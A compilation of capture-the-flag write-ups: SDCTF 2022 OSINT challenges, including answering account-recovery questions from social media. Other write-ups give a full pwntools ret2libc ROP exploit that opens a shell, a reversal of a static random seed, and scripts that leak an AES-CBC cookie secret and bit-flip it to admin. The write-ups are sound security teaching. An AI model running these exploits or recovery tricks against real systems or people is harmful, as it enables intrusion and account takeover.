[**Part of the ship...** [76 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#part-of-the-ship) [**Google Ransom** [155 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#google-ransom) [**Samuel** [88 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#samuel) [**Turing Test** [49 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#turing-test) [**Paypal Playboy** [23 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#paypal-playboy) [**Mann Hunt** [96 solves]](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/SDCTF2022OSINT.md#mann-hunt)
## Part of the ship...Difficulty: **Easy** Authors: `Blarthogg` Points: **150** Solves: **76**
Challenge Description: Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag} **Username** DanFlashes
### Approach
I started off this challenge by looking up the username `DanFlashes` on different social media platforms to see if one was linked to SDCTF. I found one on Instagram, but it seemed unrelated to the competition. I went back to the prompt to see what other clues could lead us to this account. I decided to google “forbidden app” and found [urban dictionary definitions](https://www.urbandictionary.com/define.php?term=The%20Forbidden%20App) that this app is iFunny, and the definitions also mentioned being “part of the ship” (like the challenge name) so I figured this was the right social media.
Looking at DanFlashes [on iFunny](https://ifunny.co/user/DanFlashes), we see that this page does not exist. However, the challenge description states that this was “‘way back’ in the day” which hints that we should use the [Wayback Machine](https://web.archive.org/web/20220128003432/https://ifunny.co/user/DanFlashes) (always look for hints like these in OSINT challenges!). From this we can see a snapshot was taken January 28th of this year, which gives us the flag on DanFlashes' profile.
flag: `sdctf{morning_noon_and_night_I_meme}`
## Google RansomDifficulty: **Easy** Authors: `KNOXDEV` Points: **100** Solves: **155**
Challenge Description: Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag! **Attachments** [ransom letter](https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit)
### Approach From the ransom letter, we see a cryptic note about someone threatening to sign their email up for an annoying newsletter. As threatening as this is, it doesn’t give us any information about who made this google doc. However, since it’s google there is likely a way to view the email of this account owner. I went to the “shared with me” section on google drive to get more information about the random letter. Looking at `Details`, we can see that the owner of the document is `Amy SDCTF`.
I could have used [GHunt](https://github.com/mxrch/GHunt) to get the exact email, but from the Turing Test challenge I assumed the email was in the same format as `[email protected]` and confirmed this on [epieos](https://epieos.com/). After sending `[email protected]` an email demanding the flag, we get a response giving it to us.
flag: `sdctf{0p3n_S0uRCE_1S_aMaz1NG}`
## SamuelDifficulty: **Medium** Authors: `k3v1n` Points: **88** Solves: **160**
Challenge Description: Where is this?https://www.youtube.com/watch?v=fDGVF1fK1cA
Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)
Example: If the location were https://goo.gl/maps/TnhzfxXKg9TDYDfR9 the flag would be sdctf{38.889,-77.035} **Note** The youtube channel/account is not relevant to this challenge. Only the video content is relevant.
### Approach The video linked shows us a blinking beacon at night, with a plane flying by in the distance. I initially thought this was an [Aviation OSINT](https://www.osintessentials.com/aviation) since the plane in the background was the only other thing in the video. I had no idea how to use the beacon or distant plane.
As the competition progressed, I saw that the challenge had a lot of solves and I figured it likely wasn’t some insanely hard Aviation OSINT. I then realized the blinking beacon was likely morse code. `.-- .... .- - / .... .- - .... / --. --- -.. / .-- .-. --- ..- --. .... -` translated to **WHAT HATH GOD WROUGHT**. After googling what that means, we learn it was [the official first Morse code message transmitted in the US](https://en.wikipedia.org/wiki/What_hath_God_wrought#:~:text=%22What%20hath%20God%20wrought%22%20is,the%20Baltimore%E2%80%93Washington%20telegraph%20line).
I thought then the location may be where the message was originally transferred or received, but couldn’t find anything there. I then just searched “What hath god wrought” on Google Maps and found a sculpture at the University of California San Diego. Seeing that the competition is hosted by San Diego State University, I assumed this was the right spot. From this we can get the coordinates on [Google Maps](https://www.google.com/maps/place/What+Hath+God+Wrought/@32.8751745,-117.2408527,21z/data=!4m5!3m4!1s0x80dc07e0d30e81a7:0x69087278617d6b1d!8m2!3d32.8752134!4d-117.2407749) in the url, and truncating 32.8751745,-117.2408527 to get the flag.
flag: `sdctf{32.875,-117.240}`
## Turing TestDifficulty: **Medium** Authors: `Blarthogg, KNOXDEV` Points: **200** Solves: **49**
Challenge Description: My friend has been locked out of his account! Can you help him recover it? **Email** `[email protected]` **Website** https://vault.sdc.tf/ **Note** Twitter does not need to be used for this challenge.
### Approach My first step in this challenge was going to the website, and started spamming random passwords to see what would happen. After 5 incorrect guesses, an `Account Support` window is prompted. We are then asked security questions to get back into our account (as well as bread puns).
For the first prompt, we are asked our name. We can use [epieos](https://epieos.com/) on Jack’s email to find his name is Jack Banner.
Next we are prompted with “What month were you born in?” I wasn't sure if you were supposed to brute force this but figured since it was an OSINT challenge thre would be a social media account. Epieos showed Jack’s email as being connected to a Twitter, but luckily the challenge admin noticed this as well and added a disclaimer that twitter does not need to be used. What could have happened is someone else registered an account with that email, which admins have to be prepared to fix for these kinds of challenges. I tried other social media platforms, and specifically ones that I did not explore yet. OSINT categories usually try to avoid using the same platform twice. Looking up “Jack Banner” on Facebook, we see [the account](https://www.facebook.com/profile.php?id=100077609021228) we are looking for.
The first post we can use to find his birthday by a quick google search of “99 days before april 19” giving us their birthday of January 10th.
The next prompt is “What is the name of your dog?” Looking around more on their facebook, we see an instagram for their dog linked in the Intro section. Something I learned from this challenge is that this can **only be seen if you are logged into Facebook**, so for some OSINT challenges you may need to be logged in. Although for regular OSINT gathering usually you don’t want to alert the person you are looking at, such as on LinkedIn. On the Instagram account we see that the dog’s name is Ravioli.
The final prompt is “What are the first six characters of your flag?” which is `sdctf{` for this CTF. This lets us access the flag vault and get the flag.
flag: `sdctf{7he_1m1747i0n_94m3}`
## Paypal PlayboyDifficulty: **Hard** Authors: `Blarthogg` Points: **300** Solves: **23**
Challenge Description: We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!
Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...} **mbox** [Click here to download](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) **Note** You should not have to spend any money to solve this challenge **Note** If you encounter an email not in the format of `[name][email protected]` it is not in the challenge scope.
### Approach The [mbox](https://github.com/drewd314/SDCTF-2022-OSINT-Writeups/blob/main/mbox) file contains an email from `[email protected]` about "cheap sdctf banners". I used [epieos](https://epieos.com/) to see more information about that email, but it doesn't exist. I then wanted to see what `支付.png` (payment.png) was. Using a [base64 to image converter](https://codebeautify.org/base64-to-image-converter), we get a qr code that leads to [this Cash App](https://cash.app/$limosheen?qr=1).
The username on Cash App is `limosheen`. I first used [Sherlock](https://github.com/sherlock-project/sherlock) to look for accounts connected to that username but couldn’t find anything. I looked back at the email for more information that we could use to find limosheen.
I decoded the plaintext section of the email with base64 and utf-8, then ran it through Google Translate:
``Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. Cheap banner for the San Diego Cybersecurity Games. Be the winner of SDCTF. fast and convenient. Click below. You can also find us on PayPal or on the blockchain. 0xbad ... A43B ..... SDCTF {Forgery_bana} 3️⃣ ✳ ✳️ ? ? ? ? ? ? ? ? ❇ ❇ ❇️ ⬇ ?️ ? ↘️ ? ? ? ◾️ ? ? ? ✳️ ? ? ? ? ♓️ ? ?``
This note says we also find them on PayPal. When searching for limosheen on PayPal, we can see that there exists an account with the SDCTF logo. The challenge description said "You should not have to spend any money to solve this challenge", although some people still sent the account money but received nothing :(. After some research I learned about paypal.me accounts which give more information about a user. Going to [limosheen’s profile](https://www.paypal.com/limosheen), we find this:
I saw a string on this that started with 0x and incorrectly thought it was a hex string by default, and decoding it gave nothing. I eventually learned it was an Ethereum address by just googling and inputting the address into crypto websites. In hindsight I should have definitely realized this sooner with the plaintext saying we can also find them on the blockchain, and the ropETH comment on the PayPal. When looking up the address on [Etherscan](https://etherscan.io/address/0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B) we find that the address is valid, but no entries are found.
I thought that this was a dead end at first and started doing reverse image searches and forensics on the PayPal banner, but did not get any results. I looked back at the Ethereum address and figured there must be a reason that it’s there. On Etherscan there is a notification saying that the address can be found on other chains, and sure enough we see that it’s on the Ropsten Testnet.
I tried googling the “ropETH” hint from the PayPal prior but must have done so poorly since I could not find Ropsten Testnet, but it at least confirmed we were in the right place now. We see Ethereum was transferred to ` 0x949213139D202115c8b878E8Af1F1D8949459f3f`, and this address has only inbound transfers, so it can be assumed that this is the boss we are looking for.
The PayPal account said we could find the boss on Twitter, so I put this address into twitter and found the account [Jon Fakeflag](https://twitter.com/wrestling_wave_).
From this account we get a base64 string that gives us the flag.
flag: `sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}`
## Mann HuntDifficulty: **Hard** Authors: `KNOXDEV` Points: **400** Solves: **96**
Challenge Description: We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form `****[email protected]`. Once you find it, send them an email to demand the flag! **Username** `mann5549`
### Approach After a quick search for mann5549 we find that they have a Twitter.
I tried using the [Wayback Machine](https://archive.org/web/) on this Twitter but could not find anything useful. I went to the website linked on Twitter where we find this message stating that we will never find this user.
Wayback Machine does not prove to be useful here either, so I looked at the source code of the website and found a link to a [GitHub repository](https://github.com/manncyber/manncodes.github.io) for the website.
```…name="description" content="Contribute to the blog at https://github.com/manncyber/manncodes.github.io"/><meta data-react-helmet="true" property="og:title"...```
In this repository we can see a commit that manncyber made removing certain data because he was being tracked. My first thought was maybe they used their email in this commit, so I added `.patch` to the end of the commit url but they used a standard GitHub email for this.
Here is where I started overthinking the challenge and tried a couple of dead end routes. I saw an image called `salty_egg` was removed in this commit, and when reverse image searvching it I was lead to this [Wikipedia article](https://en.wikipedia.org/wiki/Salted_duck_egg). I spent a long time looking through the editing history profiles and IPs before realizing the image was a [stock template](https://github.com/gatsbyjs/gatsby-starter-blog/blob/master/content/blog/hello-world/index.md) for Gatsby.
In this commit history we can also see that the blog author’s name `Emanuel Hunt` was removed. I initially looked on [epieos](https://epieos.com/) to see if `[email protected]` or `[email protected]` were valid emails, but they were not. I finally just googled “Emanuel Hunt” (which I should have done initially) and was immediatley shown a search result for an Emanuel Hunt from San Diego on [LinkedIn](https://www.linkedin.com/in/emanuel-hunt-34749a207/).
<img src="https://user-images.githubusercontent.com/74334127/167732744-19ae3a38-58fb-42dd-a0c6-6b4c3ab151bc.png" width=60% height=60%>
If we go to the resume that is linked, the email is unfortunately blanked out. However, if we hover over Emanuel Hunt’s profile picture on the right hand side the email `[email protected]` is shown.
This email is fairly simple to guess and some people may have done that initially. Sending them an email demanding the flag we get this response:
flag:`sdctf{MaNN_tH@t_w@s_Ann0YinG}`
|
# Not a baby rop
You already know what's up ? warzone.hackrocks.com:7770
## Pwn it
First to notice, is mitigations :
- No Canary- No Stack execution- No PIE, so the code of the binary wouldn't move
Also, binary is dynamically linked, and not stripped(so debug step should be easier).
As we confirmed there is a Segfault error, we now try to see if the RIP is overwritten, and the offset of this overflow :
The offset, then, is 136 (`cyclic -o 0x6261616a`)
Plus, the libc address is randomized :
So, the plan to pwn the bin would look like to :
- Leak the libc with puts@plt(puts@got) + ret2main (mine is ret2entrypoint)- Search for the libc version from that leak- Use this libc to call `system('/bin/sh')`
### Leak Libc Address
So, to make the ropchain to leak a libc address, it should look like this :
PADDING + POP RDI ; RET + PUTS@GOT + PUTS@PLT + ENTRYPOINT
```pyfrom pwn import *
HOST = "warzone.hackrocks.com"PORT = 7770
elf = ELF('not-a-baby-rop')
DEBUG = True
if DEBUG: libc = elf.libc p = elf.process()else: # libc = ELF('future_libc.so') # We don't have it yet p = remote(HOST, PORT)
rop = ROP(elf)
offset = 136
payload = flat([ cyclic(offset), p64(rop.rdi.address), p64(elf.symbols.got.puts), p64(elf.symbols.plt.puts), p64(elf.entrypoint) ])
_ = p.recvuntil(b"let's see what u got\n")p.sendline(payload)leaked = unpack(p.recvuntil(b"let's see what u got")[:6], 'all')
print("Leaked", hex(leaked))```
### Find the Libc version
From the previous step, we get the puts address from loaded libc. Then we can find the libc version with this data, with Blukat DB :
### Use Libc to get system('/bin/sh')
As we have the right libc version, we can load it in our script as an elf, then set its base address to use it in a right way.
So this second payload should look like :
PADDING + POP RDI ; RET + /BIN/SH POINTER + SYSTEM
```pylibc.address = leaked - libc.symbols.puts
print("Libc @ ", hex(libc.address))
payload = flat([ cyclic(offset), p64(rop.rdi.address), p64(next(libc.search(b'/bin/sh\x00'))), p64(libc.symbols.system) ])
p.sendline(payload)p.interactive()```
## Script
```pyfrom pwn import *
HOST = "warzone.hackrocks.com"PORT = 7770
elf = ELF('not-a-baby-rop')
DEBUG = False
if DEBUG: libc = elf.libc p = elf.process()else: libc = ELF('libc.so') # libc6_2.28-10+deb10u1_amd64 p = remote(HOST, PORT)
rop = ROP(elf)
offset = 136
payload = flat([ cyclic(offset), p64(rop.rdi.address), p64(elf.symbols.got.puts), p64(elf.symbols.plt.puts), p64(elf.entrypoint) ])
# context.log_level = 'debug'
_ = p.recvuntil(b"let's see what u got\n")p.sendline(payload)leaked = unpack(p.recvuntil(b"let's see what u got")[:6], 'all')
print("Leaked", hex(leaked))libc.address = leaked - libc.symbols.puts
print("Libc @ ", hex(libc.address))
payload = flat([ cyclic(offset), p64(rop.rdi.address), p64(next(libc.search(b'/bin/sh\x00'))), p64(libc.symbols.system) ])
p.sendline(payload)p.interactive()```
## Flag
flag{its_4_s1mpl3_r0pppp} |
# Oblivion
Again, below you will find the executable we have been able to retrieve... We think it is exfiltrating some kind of information, but we are not sure which one, or how...
Can you solve the challenge?
## SolutionWhen I ran the binary the first time, plus the name of the category of challenge, which is "connection", I immediately thought about a network connection, sending data somewhere else.
Then, to check than with commandline, I run, aside the running binary, the following command :
```./exfiltrator&; strace -f -e trace=network -s 10000 -p $(ps a | egrep "./exfiltrator" | tr -s ' ' | cut -d ' ' -f 2 | head -n1)```
We see that packets are sent to `8.8.8.8`
Running the binary with Wireshark aside, we notice a weird data in packets :
which give us
```47 72 65 65 74 69 6e 67 73 21 20 54 68 65 20 74 6f 6b 65 6e 20 66 6f 72 20 74 68 69 73 20 67 61 6d 65 20 69 73 20 4b 47 46 44 49 44 51 53 51 54 ```
Then
```Greetings! The token for this game is KGFDIDQSQT```
## Flag
KGFDIDQSQT |
# Morpheus
Below you will find the authentication module, which is an exact copy of the existing one on the server, and which we have prepared so that it can be run directly.
Let's get started!
# Pwn
First, we have a UPX packed file. Let's unpack it.
Let's check into IDA.
We can notice an important thing in this last piece of code : `srandom(11235813)`This is a critical programming error. As the seed of srandom is initialized with a static value, the sequence generated by this function will always be the same.
As it, we can easily reverse this function with a short C program.
```c#include <stdio.h>#include <stdlib.h>
int main(){ srandom(11235813); int i = 0; for ( i = 0; i <= 9; ++i ) { printf("%c", (rand() % 26) + 65); }
printf("\n");
return 0;}```
## Flag
WEOWZRBERI |
This challenge requires a padding attack on AES in CBC mode to leak the secret cookie values and then use a bitflipping attack to give us admin. Here is the important part of the code:```pythonBS = AES.block_sizeIV = get_random_bytes(BS)KEY = get_random_bytes(BS)BLUE = "#076185"RAND = ''.join(random.choice(string.ascii_letters) for i in range(BS))
def make_cookie(color): cookie = f"color:{color}|{RAND}" cookie += confidential_settings return encrypt_cookie(cookie)
def encrypt_cookie(cookie: str) -> bytes: raw = pad(cookie.encode(), BS) cipher = AES.new(KEY, AES.MODE_CBC, IV).encrypt(raw) return b64encode(cipher)
def decrypt_cookie(cookie: bytes) -> bytes: cipher = b64decode(cookie) raw = AES.new(KEY, AES.MODE_CBC, IV).decrypt(cipher) return unpad(raw, BS)
@app.route("/", methods=["GET", "POST"])def base(): if request.method == "GET": if not request.cookies.get('session'): resp = make_response(render_template('index.html', color=BLUE)) resp.set_cookie('session', make_cookie(BLUE)) return resp else: cookie: bytes = decrypt_cookie(request.cookies.get('session')) color: string = cookie[6:13].decode() if admin(cookie) == True: return render_template('admin.html', color=color) else: return render_template('index.html', color=color) else: if request.form['color']: resp = make_response(redirect('/')) resp.set_cookie('session', make_cookie(request.form['color'])) return resp else: return redirect("/")```
Quick rundown of what's happening. If you GET the page without any cookie, one will be made for you that sets color to blue. If you have a cookie, it will decrypt it to set the background color to whatever your cookie's color setting is and will also check your cookie to see if you're admin or not.
The cookie is made by appending some "confidiential" cookie settings to the color setting and 16 bytes of a random string, like so: `color:#076185|RANDOMSTRINGABCD|somesecret:cookievalue`.
The vulnerability is that a secret is appended to input user controls, the color value. The first step is to leak this secret using a padding attack similar to that of the `Extremely Cool Book` challenge.
Let's start our script. First, just print a normal cookie after making a POST request setting the color:```pythonimport requestsfrom base64 import b64decode
BS = 16 # block sizeSERVER_ADDR = "http://127.0.0.1:5000"
def get_cookie(payload): data = {"color": payload} req = requests.post(SERVER_ADDR, data=data) cookiejar = req.history[0].cookies cookie = cookiejar.get_dict()['session'] return cookie
print(get_cookie("#076185"))````output: ErfklSJp/nB5k4hnr0HM1CFSGw7jxiU9N7T6RlVUsTDlFVKL00tmrtqEDP7n5y2I`
The base64 is 64 bytes which is 48 bytes decoded (base64 encodes 3 bytes into 4, so 64 * 3/4 = 48). 48 bytes means we have 3 blocks of 16 bytes (standard AES block size).
Let's visualize what this may look like:```color:#076185|-- "-" = random bytes --------------?? "?" = confidential secret (max 17 bytes, minimum 1 byte) ???????????????X "X" = paddng ```The color setting takes up 13 bytes, then a `|`, 16 bytes of random chars, and some amount of secret data. Since we are limited to 3 blocks, we know the secret must be of maximum size 48 - 13 - 1 - 16 - 1 = 17 (the last -1 is because the secret cannot fill the last block, as it would force a 4th block to be added of padding).
Let's now determine the actual secret size. Let's add this to our script:```pythondef get_flag_len(): payload = "A" min_BS = 3 i = 1 while True: length = len(b64decode(get_cookie(payload + "A"*i))) // BS if length > min_len: print(i+1) break i += 1get_flag_len()````output: 14`
So what does this mean? Let's visualize it again:```color:AAAAAAAAAAAAAA|----------- new block after 14 A's -----??????????? secret must be 11 bytes XXXXXXXXXXXXXXXX```A new block was added after we sent 14 A's as input. For this to happen, the last secret byte would have to have been the 16th byte of the 3rd block, forcing a 4th block of padding to be added. This means our secret must be 11 bytes.
Now, here's the idea to leak the secret. First let's call our overall unkown as `| + RAND + secret = 1 + 16 + 11 = 28 bytes`. ```|color:AAAAAAAAAA| |color:AAAAAAAAAA| first, send 41 A's to isolate first secret char |AAAAAAAAAAAAAAAA| |AAAAAAAAAAAAAAAA| then, send 41 A's and a guess char (G) |AAAAAAAAAAAAAAA?| |AAAAAAAAAAAAAAAG| if block 3 of both ciphertexts match, |????????????????| |????????????????| our guess was correct |???????????XXXXX| |???????????XXXXX|```
Repeat the step above after each guessed character, just remove one A and replace it with the succesfully guessed secret characters thus far. Let's finish the script, here's the full thing:```pythonimport stringimport requestsfrom base64 import b64decode
BS = 16 # block sizeSERVER_ADDR = "http://127.0.0.1:5000"
def get_cookie(payload): data = {"color": payload} req = requests.post(SERVER_ADDR, data=data) cookiejar = req.history[0].cookies cookie = cookiejar.get_dict()['session'] return cookie
# print(get_cookie("#076185"))
def get_flag_len(): payload = "A" min_len = len(b64decode(get_cookie(payload))) // BS print("min block size", min_len) i = 1 while True: length = len(b64decode(get_cookie(payload + "A"*i))) // BS if length > min_len: print(i+1) break i += 1# get_flag_len()
guessed_secret = ""secret_size = 28init_push_size = 41
while len(guessed_secret) < secret_size: push = "A"*(init_push_size - len(guessed_secret)) cookie = get_cookie(push) comp_block = cookie[BS*2:BS*3] # comparing the 3rd block
for c in string.printable: payload = push + guessed_secret + c cookie = get_cookie(payload) if cookie[BS*2:BS*3] == comp_block: guessed_secret += c print(guessed_secret) break```Here's the output:```console$ python3 solve-cbc.py||e|ep|epo|epob|epobu|epobuF|epobuFa|epobuFaO|epobuFaOn|epobuFaOnI|epobuFaOnIN|epobuFaOnINQ|epobuFaOnINQg|epobuFaOnINQgt|epobuFaOnINQgtq|epobuFaOnINQgtqu|epobuFaOnINQgtqu||epobuFaOnINQgtqu|i|epobuFaOnINQgtqu|is|epobuFaOnINQgtqu|is_|epobuFaOnINQgtqu|is_a|epobuFaOnINQgtqu|is_ad|epobuFaOnINQgtqu|is_adm|epobuFaOnINQgtqu|is_admi|epobuFaOnINQgtqu|is_admin|epobuFaOnINQgtqu|is_admin:|epobuFaOnINQgtqu|is_admin:0```
Yay! We got the confidential cookie setting that was appended to the color and RAND. Now, we just need that 0 to become a 1 to become admin. Luckliy for us, AES-CBC is vulnerable to bit flipping.
Basically, a change in byte N of one block will change byte N of the next block. Let's figure this out:`t = p ⊕ d` where `t = target byte`, `p = previous block byte`, and `d = output of BlockCipherDecryption on the ciphertext byte corresponding to t`. Let's take a look at the equations below, where `p'` is a changed byte value for `p'` `value` is the byte value we want, and `t'` is the consequently changed byte value for `t`. ```If we set p' to the following, let's see what happens:p' = t ⊕ value ⊕ p
Start with base equation, then substitute and reduce:t' = p'⊕ dt' = t ⊕ value ⊕ p ⊕ dt' = t ⊕ value ⊕ tt' = value``` Would you look at that, if we set `p' = t ⊕ value ⊕ p` the resultant `t'` will be the value of the byte we want. In our case, we want to flip the `0` in `admin:0` to a `1`.
Let's work with the following cookie value:```color:#076185|epobuFaOnINQgtqu|is_admin:0XXXXXXX````0` is the 9th byte of the 3rd block, so we must alter the 9th byte of the second block (byte 25, thus index 24).
Let's get the encrypted cookie value when sending just a post request for the color `#076185` (to make our above cookie value): `ErfklSJp/nB5k4hnr0HM1CFSGw7jxiU9N7T6RlVUsTDlFVKL00tmrtqEDP7n5y2I`
Now let's go through the steps to alter the cookie in such a way to flip the correct bit:```python>>> from base64 import b64decode, b64encode>>> d = b64decode("ErfklSJp/nB5k4hnr0HM1CFSGw7jxiU9N7T6RlVUsTDlFVKL00tmrtqEDP7n5y2I")# p' = t ⊕ value ⊕ p >>> hex(0x00^0x01^d[24])'0x36'# replace p with p' ↴>>> new = d[:24] + b'\x36' + d[25:]>>> b64encode(new).decode()'ErfklSJp/nB5k4hnr0HM1CFSGw7jxiU9NrT6RlVUsTDlFVKL00tmrtqEDP7n5y2I'```
Let's go to our browser, replace the cookie, and reload the page:
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.